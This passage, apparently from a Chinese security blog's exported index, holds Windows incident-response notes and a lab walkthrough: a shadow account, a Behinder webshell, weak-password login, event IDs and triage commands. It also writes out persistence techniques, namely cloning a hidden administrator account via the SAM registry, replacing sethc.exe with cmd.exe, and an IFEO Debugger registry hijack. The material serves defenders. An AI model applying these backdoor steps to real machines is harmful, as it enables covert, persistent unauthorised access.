1012.3702端口:用于 Web Services Discovery,PID 为 7032.4500端口:用于 NAT-T(Network Address Translation - Traversal),PID 为 2300.5353端口:用于 mDNS(Multicast DNS),PID 为 1764.5355端口:用于 LLMNR(Link-Local Multicast Name Resolution),PID 为 1764.58668和58669端口:动态端口,PID 为 7032.127.0.0.1:59524:本地回环地址上的通信,PID 为 2560.192.168.150.176:137和138端口:用于 NetBIOS 名称和数据报服务,PID 为 4. 查看服务123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123C:\\Users\\Administrator>tasklist /svc映像名称 PID 服务========================= ======== ============================================System Idle Process 0 暂缺System 4 暂缺Registry 100 暂缺smss.exe 300 暂缺csrss.exe 416 暂缺wininit.exe 512 暂缺csrss.exe 520 暂缺winlogon.exe 576 暂缺services.exe 648 暂缺lsass.exe 672 KeyIso, SamSssvchost.exe 768 BrokerInfrastructure, DcomLaunch, PlugPlay, Power, SystemEventsBrokerfontdrvhost.exe 784 暂缺fontdrvhost.exe 792 暂缺svchost.exe 884 RpcEptMapper, RpcSssvchost.exe 944 LSMsvchost.exe 1012 TermServicedwm.exe 380 暂缺svchost.exe 692 NcbServicesvchost.exe 936 lmhostssvchost.exe 352 TimeBrokerSvcsvchost.exe 1132 EventLogsvchost.exe 1140 CoreMessagingRegistrarsvchost.exe 1296 nsisvchost.exe 1308 gpsvcsvchost.exe 1336 ProfSvcsvchost.exe 1344 FontCachesvchost.exe 1380 EventSystemsvchost.exe 1396 UmRdpServicesvchost.exe 1412 Themessvchost.exe 1420 DispBrokerDesktopSvcsvchost.exe 1528 Dhcpsvchost.exe 1632 SENSsvchost.exe 1656 Schedulesvchost.exe 1764 Dnscachesvchost.exe 1772 Wcmsvcsvchost.exe 1856 NlaSvcsvchost.exe 1872 ShellHWDetectionsvchost.exe 1884 CertPropSvcsvchost.exe 1956 BFE, mpssvcsvchost.exe 1976 LanmanWorkstationsvchost.exe 1988 WinHttpAutoProxySvcsvchost.exe 2084 SessionEnvsvchost.exe 2100 netprofmsvchost.exe 2220 UserManagersvchost.exe 2300 IKEEXTsvchost.exe 2308 PolicyAgentspoolsv.exe 2428 Spoolersvchost.exe 2512 CryptSvcsvchost.exe 2524 DiagTracksvchost.exe 2560 iphlpsvcsvchost.exe 2608 LanmanServerphpStudyServer.exe 2624 phpStudySrvsvchost.exe 2640 SstpSvcsvchost.exe 2680 StateRepositorysvchost.exe 2688 SysMainsvchost.exe 2744 TrkWksVGAuthService.exe 2768 VGAuthServicevm3dservice.exe 2804 vm3dservicevmtoolsd.exe 2848 VMToolssvchost.exe 2860 W32TimeMsMpEng.exe 2868 WinDefendsvchost.exe 2884 Winmgmtsvchost.exe 2908 WinRMsvchost.exe 2940 WpnServicevm3dservice.exe 2592 暂缺svchost.exe 3356 RasManAggregatorHost.exe 3668 暂缺dllhost.exe 3696 COMSysAppWmiPrvSE.exe 4132 暂缺sihost.exe 4212 暂缺svchost.exe 4224 CDPUserSvc_37c8dsvchost.exe 4256 WpnUserService_37c8dtaskhostw.exe 4360 暂缺svchost.exe 4472 TokenBrokersvchost.exe 4540 TabletInputServicectfmon.exe 4628 暂缺svchost.exe 4668 AppXSvcsvchost.exe 4748 camsvcsvchost.exe 4792 CDPSvcNisSrv.exe 3616 WdNisSvcexplorer.exe 1092 暂缺ChsIME.exe 4588 暂缺svchost.exe 5180 wuauservmsdtc.exe 5188 MSDTCTextInputHost.exe 5500 暂缺StartMenuExperienceHost.e 5524 暂缺RuntimeBroker.exe 5700 暂缺SearchApp.exe 5944 暂缺RuntimeBroker.exe 6128 暂缺RuntimeBroker.exe 6308 暂缺svchost.exe 6384 LicenseManagervmtoolsd.exe 4376 暂缺WmiPrvSE.exe 5928 暂缺svchost.exe 1244 Appinfosvchost.exe 1408 fdPHostsvchost.exe 7032 FDResPubMicrosoftEdgeUpdate.exe 8060 暂缺MicrosoftEdgeUpdate.exe 8096 暂缺svchost.exe 7016 DPSsvchost.exe 6620 WdiSystemHosttaskhostw.exe 6960 暂缺svchost.exe 7308 PcaSvcsvchost.exe 6064 StorSvcsvchost.exe 7252 UALSVCMicrosoftEdgeUpdate.exe 5172 edgeupdatesvchost.exe 3084 cbdhsvc_37c8dsvchost.exe 7512 DoSvcsvchost.exe 7692 UsoSvcphpstudy_pro.exe 7880 暂缺svchost.exe 4504 ClipSVCsvchost.exe 3652 DsSvcsvchost.exe 1644 smphostWinSAT.exe 8088 暂缺conhost.exe 5480 暂缺smartscreen.exe 7368 暂缺cmd.exe 2776 暂缺conhost.exe 2280 暂缺tasklist.exe 2656 暂缺 查看账号win+r:lusrmgr.msc发现一个影子账户:hack168$或net localgroup administrators只能查看通过$符号隐藏的账户 在该用户下发现执行程序一个,提取出后上传到微步在线分析一下,由于此程序是模拟出来的恶意软件所以微步并判断出是否为恶意程序 以下反编译内容来自题解 在桌面处找到位置程序,运行后cpu飙升,判别为挖矿程序,分析该文件 该图标为pyinstaller打包通过Google识图也可以找到这是什么打包的,如何反编译. 使用pyinstxtractor进行反编译 pyinstxtractor需要3.8版本的Python运行 得到pyc文件 使用在线pyc反编译工具,得到源码 分析开机自启程序123456789101112HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunonceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnceHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\policies\\Explorer\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce(ProfilePath)\\Start Menu\\Programs\\Startup 启动项msconfig 启动选项卡gpedit.msc 组策略编辑器 查看计划或定时任务123456C:\\Windows\\System32\\Tasks\\C:\\Windows\\SysWOW64\\Tasks\\C:\\Windows\\tasks\\schtaskstaskschd.msccompmgmt.msc Web应急响应开着PHPStudy那估计就会有web服务器,虽然背景中也说了,进入网站根目录,查找是否存在Webshell,或通过%UserProfile%\\Recent查找最近修改的文件记录 没有发现可疑文件,也可换其他工具,这里查找中间件日志文件快速浏览 相关中间件日志都要快速过一遍,在access.log中发现可疑路径192.168.126.1 - - [26/Feb/2024:22:46:23 +0800] "GET /content/plugins/tips/shell.php HTTP/1.1" 200 - 查看该文件内容,发现是个冰蝎马 密码为默认密码:rebeyond攻击IP为:192.168.126.1 继续查看日志寻找shell前后请求,发现了大量的POST请求同一页面并且状态码为302,猜测可能存在弱口令,联系运维人员确认是否为弱口令或者查看全流量设备 通过弱口令:admin 123456登录到后台查看CMS框架及版本号emlog pro2.2.0 搜索emlog pro2.2.0 历史漏洞得到/admin/plugin.php存在任意文件上传,并且和日志中的攻击路径吻合 系统应急响应通过eventvwr查看用户创建日志,发现是直接通过administrator管理员用户创建的影子账户.由于没用pcap包无法判断是否通过冰蝎马创建 powershell无异常 发现此用户通过RDP远程登陆了此机器 Windows事件ID-番外篇审核策略更改 此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核策略更改 审核审核策略更改 成功 策略更改 审核身份验证策略更改 成功 策略更改 审核授权策略更改 无审核 策略更改 审核筛选平台策略更改 无审核 策略更改 审核 MPSSVC 规则级策略更改 无审核 策略更改 审核其他策略更改事件 无审核 策略更改 子类别 默认状态 事件ID 事件说明 审核审核策略更改 成功 4715 对象的审核策略 (SACL) 已更改. 成功 4719 系统审核策略已更改. 成功 4817 对象的审核设置已更改. 成功 4902 创建了每用户审核策略表. 成功 4904 已尝试注册安全事件源. 成功 4905 已尝试取消注册安全事件源. 成功 4906 CrashOnAuditFail 值已更改. 成功 4907 对象的审核设置已更改. 成功 4908 特殊组登录表已修改. 成功 4912 每用户审核策略已更改. 审核身份验证策略更改 成功 4713 Kerberos 策略已更改. 成功 4716 可信域信息已修改. 成功 4717 系统安全访问被授予一个帐户. 成功 4718 系统安全访问权限已从帐户中删除 成功 4739 域策略已更改. 成功 4864 检测到命名空间冲突. 成功 4865 添加了受信任的林信息条目. 成功 4866 删除了受信任的林信息条目. 成功 4867 受信任的林信息条目已修改. 审核登录事件 此安全设置确定 OS 是否对尝试登录此计算机 或从中注销的用户的每个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核登录事件 审核账户锁定 成功 登录/注销 审核 IPsec 扩展模式 无审核 登录/注销 审核 IPsec 主模式 无审核 登录/注销 审核 IPsec 快速模式 无审核 登录/注销 审核注销 成功 登录/注销 审核登录 客户端:成功服务器:成功和失败 登录/注销 审核网络策略服务器 成功和失败 登录/注销 审核其他登录/注销事件 无审核 登录/注销 审核特别登录 成功 登录/注销 子类别 默认状态 事件ID 事件说明 审核账户锁定 成功 4625 帐户登录失败. 审核注销 成功 4634 帐户已注销. 审核注销 成功 4647 用户发起的注销. 审核登录 客户端PC: 成功服务器: 成功和失败 4624 帐户登录成功. 4625 帐户登录失败. 4648 尝试使用显式凭据登录. 4675 SID 被过滤. 审核网络策略服务器 成功和失败 网络策略服务器授予用户访问权限. 6273 网络策略服务器拒绝访问用户. 6274 网络策略服务器放弃了对用户的请求. 6275 网络策略服务器丢弃了用户的计费请求. 6276 网络策略服务器隔离了一个用户. 6277 网络策略服务器授予用户访问权限,但由于主机不符合定义的健康策略而使其处于试用状态. 6278 网络策略服务器授予用户完全访问权限,因为主机符合定义的健康策略. 6279 由于多次失败的身份验证尝试,网络策略服务器锁定了用户帐户. 6280 网络策略服务器解锁了用户帐户. 审核特别登录 成功 4964 已将特殊组分配给新登录 登录类型 描述 说明 2 交互式登录(Interactive) 用户在本地进行登录. 3 网络(Network) 最常见的情况就是连接到共享文件夹或共享打印机时. 4 批处理(Batch) 通常表明某计划任 务启动. 5 服务(Service) 每种服务都被配置 在某个特定的用户 账号下运行. 7 解锁(Unlock) 屏保解锁. 8 网络明文(NetworkCleartext) 登录的密码在网络 上是通过明文传输 的,如FTP. 9 新凭证(NewCredentials) 使用带/Netonly参数 的RUNAS命令运行一 个程序. 10 远程交互(RemoteInteractive) 通过终端服务、远程桌面或远程协助访问计算机. 11 缓存交互(CachedInteractive) 以一个域用户登录而又没有域控制器可用 地位和子状态码 描述 0xc0000064 用户名不存在 0xc000006a 用户名是正确的,但密码是错误的 0xc0000234 用户当前锁定 0xc0000072 帐户目前禁用 0xc000006f 用户试图登录天的外周或时间限制 0xc0000070 工作站的限制 0xc0000193 帐号过期 0xc0000071 过期的密码 0xc0000133 时钟之间的直流和其他电脑太不同步 0xc0000224 在下次登录用户需要更改密码 0xc0000225 显然一个缺陷在Windows和不是一个风险 0xc000015b 没有被授予该用户请求登录类型(又名登录 正确的)在这台机器 0xc000006d 似乎是由于系统问题和不安全 审核账户管理 此安全设置确定是否审核计算机上的每个帐户管理事件.帐户管理事件示例包括: 创建、更改或删除用户帐户或组. 重命名、禁用或启用用户帐户. 设置或更改密码. 类别 子类别 默认状态 对应本地审核策略 帐户管理 审核应用组程序管理 无审核 审核账户管理 审核计算机帐户管理 无审核 审核通讯组管理 无审核 审核其他账户管理事件 无审核 审核安全组管理 成功 审核用户账户管理 成功 子类别 默认状态 事件ID 事件 审核安全组管理 成功 4727 已创建启用安全性的全局组. 4728 一个成员被添加到启用安全的全局组中. 4729 成员已从启用安全的全局组中删除. 4730 已删除启用安全的全局组. 4731 已创建启用安全性的本地组. 4732 一个成员被添加到启用安全的本地组. 4733 成员已从启用安全的本地组中删除. 4734 已删除启用安全的本地组. 4735 已更改启用安全的本地组. 4737 已更改启用安全的全局组. 4754 已创建启用安全的通用组. 4755 已更改启用安全的通用组. 4756 一个成员被添加到启用安全的通用组. 4757 成员已从启用安全的通用组中删除. 4758 已删除启用安全的通用组. 4764 组的类型已更改. 审核用户账户管理 成功 4720 已创建用户帐户. 4722 已启用用户帐户. 4723 试图更改帐户的密码. 4724 已尝试重置帐户密码. 4725 用户帐户被禁用. 4726 用户帐户被删除. 4738 用户帐户已更改. 4740 用户帐户被锁定. 4765 SID 历史记录已添加到帐户 4766 尝试向帐户添加 SID 历史记录失败. 4767 用户帐户已解锁. 4780 ACL 是在作为管理员组成员的帐户上设置的. 4781 帐户名称已更改: 4794 已尝试设置目录服务还原模式. 5376 凭据管理器凭据已备份. 5377 凭据管理器凭据是从备份中恢复的. 远程登录事件当通过远程桌面协议(RDP)进行远程登录时,会在源主机和目的主机上生成一系列事件。以下是与RDP远程登录相关的重要事件ID及其含义,这些事件可以在Windows安全日志和远程连接日志中找到。 安全日志(Security.evtx) 事件ID 描述 重点说明 4624 账户成功登录 表明有账户成功通过RDP登录 4648 使用明文凭证尝试登录 可能表明凭证被窃取或滥用 4778 重新连接到一台Windows主机的会话 表明会话被重新连接 4779 断开到一台Windows主机的会话 表明会话被断开 远程连接日志应用程序和服务日志->Microsoft->Windows->TerminalServices->RemoteConnectionManager->Operational 事件ID 描述 重点说明 1149 用户认证成功 表明用户通过RDP认证成功 21 远程桌面服务:会话登录成功 表明RDP会话登录成功 24 远程桌面服务:会话已断开连接 表明RDP会话被断开 25 远程桌面服务:会话重新连接成功 表明RDP会话被重新连接 登录类型 登录类型 描述 重点说明 10 RemoteInteractive 专用于RDP登录 12 CachedRemoteInteractive 表明使用了缓存的RDP登录信息 隐藏账号-番外篇window 隐藏系统用户操作,CMD命令行下,建立了一个用户名为youzi$,密码为youzi$的简单隐藏账户,并且把该隐藏账户提升为了管理员权限. CMD命令行使用net user,看不到test$这个账号,但在控制面板和本地用户和组是可以显示此用户 克隆账号制作过程: “开始”→“运行”,输入regedit后回车,需要到HKEY_LOCAL_MACHINE\\SAM\\SAM,单机右建权限,给予administrator用户完全控制以及读取的权限,在后面打勾就行.然后关闭注册表编辑器,再次打开即可 来到注册表编辑器的HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names处,点击youzi$用户,得到在右边显示的键值中的”类型”一项显示为0x3F9,找到箭头所指目录. 找到administrator所对应的的项为000001F4,将00001F4的F值复制到000003F9的F值中,保存. 分别youzi$和000003F9导出到桌面,删除youzi$用户net user youzi$ /del 将刚才导出的两个后缀为.reg的注册表项导入注册表中.这样所谓的隐藏账户就创建好了. PS:不管你是在命令提示符下输入net user 或者在系统用户管理界面都是看不到test$这个账户的,只有在注册表中才能看得到 检测和清理方法:使用D盾_web查杀工具,使用克隆账号检测功能进行查看,可检测出隐藏、克隆账号.","tags":["应急响应","Windows"]},{"title":"应急响应之Windows","path":"/2024/07/04/b7b8d727/","content":"总字符数: 28.89K 代码: 6.84K, 文本: 5.58K 预计阅读时间: 54 分钟 当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失 常见的应急响应事件分类: web入侵:网页挂马、主页篡改、Webshell 系统入侵:病毒木马、勒索软件、远控后门 网络攻击:DDOS攻击、DNS劫持、ARP欺骗 工具and日志 0x01 入侵排查思路系统基本信息 wsinfo32查看Windows信息 硬件信息 运行任务 服务 系统驱动程序 加载的模块 启动程序 cmd命令systeminfo 主要用途简单了解信息 检查系统账号安全 查看服务器是否有弱口令,远程管理端口是否对公网开放. 12# 检查方法:据实际情况咨询相关服务器管理员. 查看服务器是否存在可疑账号、新增账号. 123# 检查方法:打开cmd窗口lusrmgr.msc命令,查看是否有新增/可疑的账号或cmd中net localgroup administrators如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉. 查看服务器是否存在隐藏账号、克隆账号. 123# 检查方法:a. 打开注册表,查看管理员对应键值.b. 使用D盾_web查杀工具,集成了对克隆账号检测的功能. 结合日志,查看管理员登录时间、用户名是否存在异常. 1234# 检查方法:a. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器"b. 导出Windows日志--安全,利用LogParser进行分析LogParser.exe -i:EVT "SELECT TimeGenerated AS LoginTime, EXTRACT_TOKEN(Strings, 5, '|') AS username FROM C:\\Users\\Administrator\\Desktop\\Security.evtx WHERE EventID = 4624" wmic命令 1wmic useraccount get Name,SID 检查异常端口、进程 检查端口连接情况,是否有远程连接、可疑连接. 1234567# 检查方法:a. netstat-ano # 查看目前的网络连接,定位可疑的ESTABLISHEDb. 根据netstat定位出的pid,再通过tasklist命令进行进程定位tasklist | findstr "PID"# 注册表查看RDP端口.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp 进程 1234567891011121314# 检查方法:a. 开始--运行--输入msinfo32依次点击"软件环境→正在运行任务"就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等.b. 打开D盾web查杀工具,进程查看,关注没有签名信息的进程.c. 通过微软官方提供的ProcessExplorer等工具进行排查.d. 查看可疑的进程及其子进程.可以通过观察以下内容:\t1. 没有签名验证信息的进程\t2. 没有描述信息的进程\t3. 进程的属主\t4. 进程的路径是否合法\t5. CPU或内存资源占用长时间过高的进程 小技巧: 123456789a. 查看端口对应的PID: netstat -ano | findstr "port"b. 查看进程对应的PID: 任务管理器--查看--选择列--PID或者 tasklist | findstr "PID"c. 查看进程对应的程序位置:\t1. 任务管理器--选择对应进程--右键打开文件位置 2. 运行输入wmic,cmd界面输入processd. tasklist /svc # 进程--PID--服务e. 查看Windows服务所对应的端口:%system%/system32/drivers/etc/services # 一般 %system% 就是C:\\Windows 检查启动项、计划任务、服务 什么是Windows启动项? 开机的时候系统会在前台或者后台运行的程序 什么是Windows启动项后门? Windows启动项后门也是攻击者常用的权限维持方式,大体上可以分为两种。 一是重启电脑时自启动后门程序实现权限维持; 二是点击某应用、服务、程序时自启动后门程序实现权限维持。 什么是计划任务? 一般是指在操作系统中设置定时任务 计划任务是系统的常见功能,利用任务计划功能,可以将任何脚本、程序或文档安排在某个最方便的时间运行。 什么是计划任务后门? 计划任务是经常被攻击者拿来利用的控制点,计划任务可以让目标主机在特定的时间执行我们预先准备的后门程序从而帮助我们进行权限维持。 什么是Windows服务? Windows 会话中可运行的可执行应用程序 在Windows系统中还有一个重要的机制,就是服务。通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。 检查服务器是否有异常的启动项 123456789101112131415161718192021222324252627# 检查方法:a. 登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下.b. 单击开始菜单>【运行】,输入msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件.c. 单击【开始】>【运行】,输入regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:HKEY\\_CURRENT\\_USER\\software\\micorsoft\\windows\\currentversion\\runHKEY\\_LOCAL\\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY\\_LOCAL\\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Runonce检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马.# 注册表目录含义HKEY_CLASSES_ROOT(HKCR) 此处存储的信息可确保在Windows资源管理器中执行时打开正确的程序.它还包含有关拖放规则、快捷方法和用户界面信息的更多详细信息HKEY_CLASSES_USER(HKCU) 包含当前登录系统的用户的配置信息,有用户的文件夹、屏幕颜色和控制面板设置HKEY_LOCAL_MACHINE(HKLM) 包含运行操作系统的计算机硬件特定信息,有系统上安装的驱动器列表及已安装硬件和应用程序的通用配置HKEY_USERS(HKU) 包含系统上所有用户配置文件的配置信息,有应用程序配置和可视配置HKEY_CLASSES_CONFIG(HCU) 存储有关系统当前配置的信息# 注册表操作命令1. reg add添加注册表2. reg delete删除注册表3. reg query返回注册表的子项下的项和下一层项的列表d. 利用安全软件查看启动项、开机时间管理等.e. 组策略,运行gpedit.msc.f. msconfig 图形化查看启动项 检查计划任务 1234567# 检查方法:a. 单击【开始】>【设置】>【控制面板】>【任务计划】查看计划任务属性,便可以发现木马文件的路径.b. 单击【开始】>【运行】:输入cmd,然后输入at检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接.c. powershell输入Get-ScheduledTaskd. schtasks 服务自启动 服务可以理解为运行在后台的进程,这些服务可以在计算机启动时自动启动,也可以暂停和重新启动,而且不显示任何用户界面 服务作为一种运行在后台的进程,是恶意软件常用的贮存方法 123# 检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型检查是否有异常服务. 检查系统相关信息 查看系统版本以及补丁信息 12# 检查方法:单击【开始】>【运行】,输入systeminfo 查看系统信息 查找可疑目录及文件 12345678910# 检查方法:a. 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录.# Window 2003:C:\\Documents and Settings# Window 2008 R2:C:\\Users\\b. 单击【开始】>【运行】,输入%UserProfile%\\Recent分析最近打开分析可疑文件.c. 在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件. 检查shift粘贴键后门 什么是shift粘贴键后门? Shift粘滞键是当用户连按5次shift就会自动弹出的一个程序,其实不光是粘滞键,还有各种辅助功能,这类辅助功能都拥有一个特点就是当用户未进行登录时也可以触发。所以攻击者很有可能通过篡改这些辅助功能的指向程序来达到权限维持的目的。 (辅助功能镜像劫持是一样的原理) 辅助功能镜像劫持为了使电脑更易于使用和访问,Windows 添加了一些辅助功能。这些功能可以在用户登录之前以组合键启动。根据这个特征,一些恶意软件无需登录到系统,通过远程桌面协议就可以执行恶意代码。比如最常见的按5下shift出现的粘滞键Sethc.exe,还有Windows + U组合键时启动的utilman.exe程序还有: 12345屏幕键盘: C:\\Windows\\System32\\osk.exe放大镜: C:\\Windows\\System32\\Magnify.exe旁白: C:\\Windows\\System32\\Narrator.exe显示切换器 C:\\Windows\\System32\\DisplaySwitch.exe应用切换器: C:\\Windows\\System32\\AtBroker.exe 低版本在较早的 Windows 版本,只需要进行简单的二进制文件替换,比如经典的shift后门是将C:\\Windows\\System32\\sethc.exe替换为cmd.exe。仅限windows 2003、xp系统 12copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\sethc.exe.bakcopy c:\\windows\\system32\\cmd.exe c:\\windows\\system32\\sethc.exe 高版本我们需要用到IFEO,即映像劫持 什么是IFEO所谓的IFEO就是Image File Execution Options,直译过来就是映像劫持。它又被称为“重定向劫持”(Redirection Hijack),它和“映像劫持”(Image Hijack,或IFEO Hijack)只是称呼不同,实际上都是一样的技术手段。白话来讲就是做某个操作的时候被拦截下来,干了别的事。 当我们双击运行程序时,系统会查询该IFEO注册表,如果发现存在和该程序名称完全相同的子键,就查询对应子健中包含的“debugger”键值名,如果该参数不为空,系统则会把 Debugger 参数里指定的程序文件名作为用户试图启动的程序执行请求来处理。这样成功执行的是遭到“劫持”的虚假程序。 命令行修改123# 需要管理员权限# 在以下注册表中的sethc.exe项添加一个Debugger字符值(REG_SZ),并且赋值为cmd.exe的执行路径为C:\\windows\\system32\\cmd.exe,如图:REG ADD "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe" /v Debugger /t REG_SZ /d "C:\\windows\\system32\\cmd.exe" 进程分析 Windows进程排查,主要是找到恶意进程的PID,程序路径有时还需要找到PPID(PID的父进程),及程序加载的DLL 12345678910111213141. 任务管理器2. tasklist命令\t1. tasklist /svc 查看进程服务\t2. tasklist /m 查看加载dll的恶意进程\t3. tasklist /m dll文件名 指定dll的调用情况\t4. tasklist过滤器 tasklist /fi 'pid eq 992' eq表示等于\t5. 可以先使用netstat -ano查看端口连接信息,然后使用tasklist | findstr进行排查3. powershell\t1. 用途在存在守护进程的进程,确认子父进程的关系\t2. Get-WmiObject Win32_Process | select Name,ProcessId,ParentProcessId,Path4. wmic命令\t1. 以csv格式列出所有信息 wmic process list full /format:csv\t2. 以csv格式显示进程的名称、父进程ID、进程ID wmic process get name,parentprocessid,processid /format:csv 文件痕迹排查123456789101112131. 敏感目录\t1. 各个盘符的tmp/temp相关目录 恶意程序投放的文件一般都会在路径相对统一的文件夹下,而临时目录相对统一\t2. 浏览器记录:人工入侵事件,入侵者会下载后续入侵的相关工具\t3. Recent文件 位置:Everything全盘搜索即可 Recent文件主要存储了最近运行文件的快捷方式,可通过分析最近运行的文件,排查可疑文件\t4. Prefetch预读取文件夹 位置:%SystemRoot%\\Prefetch\\ 用来存放系统已访问过的文件的预读取信息,扩展名位pf\t5. Amcache.hve文件可以查询应用程序的执行路径、上次执行的时间以及SHA1值2. 时间查找\t1. 简介:安全事件发生后,需要确认事件发生的时间点,然后排查时间点前后文件变动情况,缩小排查范围\t2. 列出攻击日期内新增的文件,从而发现相关的恶意软件 1. forfiles命令查找对应条件的文件 2. 使用everything对该时间段的文件进行排查\t3. 对文件的创建时间、修改时间、访问时间进行排查 查看文件属性,查看创建时间和修改时间是否存在逻辑上的问题,如果存在则该文件需要重点排查3. webshell使用D盾、HwsKill、WebShellKill等webshell扫描工具进行扫描 0x02 Windows日志及工具Windows日志介绍依赖的服务:EventLog服务 位置: Windows 2000 / Server2003 / Windows XP :%SystemRoot%\\System32\\Config\\*.evtx Windows Vista / 7 / 10 / Server2008 及以上版本: %SystemRoot%\\System32\\Winevt\\Logs\\*.evtx Windows日志分类 类型 描述 系统日志(System.evtx) 系统日志包含由Windows系统组件记录的事件,记录系统进程和设备 驱动程序的活动。由它审核的系统事件包括启动失败的设备驱动程序、硬件错误、重复的IP地址 以及服务启动、暂停和停止。 应用程序日志(Application.evtx) 记录程序在运行过程中的日志信息。 安全日志(Security.evtx) 安全日志记录各种系统审核和安全处理,包括用户权限的变化、文件 和目录的访问、打印以及用户系统登陆和注销,如有效或无效的登陆尝试、与资源使用有关的事 件。管理员有按需要指定安全日志中要记录的事件类型。 系统日志 简介:主要指Windows系统中的各个组件在运行中产生的各种事件 系统驱动在运行中出现的问题 操作系统的多种组件在运行中出现的各种问题 应用软件在运行中出现的重大问题 问题包括:数据丢失、错误,以及系统崩溃行为 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\SysEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\System.evt 1234# 分析方法:a. 前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等.b. Win+R打开运行,输入"eventvwr.msc",回车运行,打开"事件查看器".C. 导出应用程序日志、安全日志、系统日志,利用LogParser进行分析. 安全日志 简介:记录系统各种安全事件 各种登录与退出系统的成功或不成功的信息 对系统中各种重要资源的操作,如对系统文件的创建、删除、修改等操作 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\SecEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\Security.evt 应用程序日志 简介:各类应用程序产生的各类事件:登录、退出等日志 Windows2000-WindowsServer2003:C:\\WINDOWS\\System32\\config\\AppEvent.evt WindowsVista-Win10以及WindowsServer2008:%SystemRoot%\\System32\\Winevt\\Logs\\Application.evt 123456789101112131415161718192021还需要注意DHCP以及Bits-Client得相关日志事件ID1. 应急常见ID\t1. 4624 成功登录 安全日志\t2. 4625 登录失败 安全日志\t3. 4776 成功/失败的账户认证 安全日志\t4. 4720 创建用户 安全日志\t5. 4732 添加用户到启用安全性的本地组中 安全日志\t6. 4728 添加用户到启用安全性的全剧组中 安全日志\t7. 7030 服务创建错误 系统日志\t8. 7040 IPSEC服务的启动类型已从禁用更改为自动启动 系统日志\t9. 7045 服务创建 系统日志2. 登录相关日志\t1. 4624 用户登录成功\t2. 4625 用户登录失败 (解锁屏幕不会产生这个日志)\t3. 4672 特权用户登录 administrator登录4624和4672日志一起出现\t4. 4648 显示凭证登录3. 启动事件日志\t1. 1074 关机初始化失败 警告日志 User32\t2. 13 关机日志 信息日志 系统日志\t3. 12 启动日志 信息日志 系统日志 在默认情况下, Windows日志仅仅记录一些特定日志,因为Windows日志中每种日志的大小默认为 20M,超过大小之后会覆盖最早的日志记录。如果我们需要记录详细的安全日志,则需要通过修改本地策略或者在高级审核策略配置中来启用其他项的日志记录功能。 Windows事件ID审核策略更改 此安全设置确定 OS 是否对尝试更改用户权限分 配策略、审核策略、帐户策略或信任策略的每 一个实例进行审核. 类别 子类别 默认状态 对应高级审核策略配置 审核策略更改 审核审核策略更改 成功 策略更改 审核身份验证策略更改 成功 策略更改 审核授权策略更改 无审核 策略更改 审核筛选平台策略更改 无审核 策略更改 审核 MPSSVC 规则级策略更改 无审核 策略更改 审核其他策略更改事件 无审核 策略更改 子类别 默认状态 事件ID 事件说明 审核审核策略更改 成功 4715 对象的审核策略 (SACL) 已更改. 成功 4719 系统审核策略已更改. 成功 4817 对象的审核设置已更改. 成功 4902 创建了每用户审核策略表. 成功 4904 已尝试注册安全事件源. 成功 4905 已尝试取消注册安全事件源. 成功 4906 CrashOnAuditFail 值已更改. 成功 4907 对象的审核设置已更改. 成功 4908 特殊组登录表已修改. 成功 4912 每用户审核策略已更改. 审核身份验证策略更改 成功 4713 Kerberos 策略已更改. 成功 4716 可信域信息已修改. 成功 4717 系统安全访问被授予一个帐户. 成功 4718 系统安全访问权限已从帐户中删除 成功 4739 域策略已更改. 成功 4864 